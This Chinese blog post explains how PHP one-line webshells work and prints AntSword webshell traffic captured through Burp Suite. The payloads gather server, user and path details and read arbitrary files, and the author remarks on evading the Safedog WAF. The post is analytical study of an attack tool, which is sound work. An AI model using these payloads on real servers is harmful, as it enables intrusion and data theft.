1. 程式人生 > >蟻劍原理與魔改

蟻劍原理與魔改

## 一句話木馬原理 一句話木馬形如這樣: ``` ``` 使用蟻劍連線,連線成功 ![](https://img2020.cnblogs.com/blog/2092671/202011/2092671-20201121191657927-1041720749.png) 那為什麼能成功呢? 首先要探尋一句話木馬的原理 ![](https://img2020.cnblogs.com/blog/2092671/202011/2092671-20201121191706274-1337174572.png) 所以我們post傳入的字串會以php程式碼的形式執行,而php程式碼又能呼叫系統操作所以便成了木馬 ![](https://img2020.cnblogs.com/blog/2092671/202011/2092671-20201121191717098-546232769.png) ## 蟻劍的原理 知道了一句話木馬的原理,那麼我們康康蟻劍的原理,蟻劍用很多功能確實很方便。還支援編碼,垃圾數值,隨機數,自定義編碼解碼器。 ![](https://img2020.cnblogs.com/blog/2092671/202011/2092671-20201121191723211-1706049556.png) 首先選擇代理設定,因為這裡我們選擇用burpsuite來抓取流量, ![](https://img2020.cnblogs.com/blog/2092671/202011/2092671-20201121191729061-789272735.png) ![](https://img2020.cnblogs.com/blog/2092671/202011/2092671-20201121191733311-1065581005.png) ![](https://img2020.cnblogs.com/blog/2092671/202011/2092671-20201121191737269-2088268778.png) 蟻劍連線來分析一下流量 ``` @ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out){ return $out; }; function asoutput(){ $output=ob_get_contents(); //返回輸出緩衝區的內容 ob_end_clean(); //清理(擦除)緩衝區並關閉輸出緩衝 echo "c6b05fd97"; echo @asenc($output);echo "d69e35d304";} ob_start(); //開啟輸出緩衝區 try{ $D=dirname($_SERVER["SCRIPT_FILENAME"]); //獲取當前url路由的絕對路徑 if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); //當前指令碼所在檔案系統(非文件根目錄)的基本路徑 $R="{$D} "; if(substr($D,0,1)!="/"){ foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:"; } else{ $R.="/";}$R.=" "; $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; $s=($u)?$u["name"]:@get_current_user(); $R.=php_uname(); $R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); //獲取目錄,uid,系統資訊,使用者等資訊 ``` 然後我們就大概瞭解了一下蟻劍的功能,在康康蟻劍是如何獲取資料的 ![](https://img2020.cnblogs.com/blog/2092671/202011/2092671-20201121191746857-1647835410.png) ``` @ini_set("display_errors", "0"); @set_time_limit(0); //不顯示報錯 function asenc($out){ return $out; }; //用於返回資訊 function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "a170af01bc"; //用於返回資訊,同時加入歲間字首,對安全狗是一種繞過 echo @asenc($output); echo "6d341a3c3a"; } ob_start(); try{ $F=base64_decode(substr($_POST["hfdce8c1b4e4ef"],2)); //base64解碼post傳入的另一個數據 $P=@fopen($F,"r"); // 進行讀取檔案的操作 echo(@fread($P,filesize($F)?filesize($F):4096)); @fclose($P);; } catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); //報錯資訊 ``` 原理還是很好理解的,但是不明白為什麼要令外post一個數據再進去檔案內的傳遞,難道是面對物件編寫的原因,還是令有好處,但是如果整體個人覺得更容易混淆流量,不過問題不大,後面還要編碼更多的引數,才能繞過安全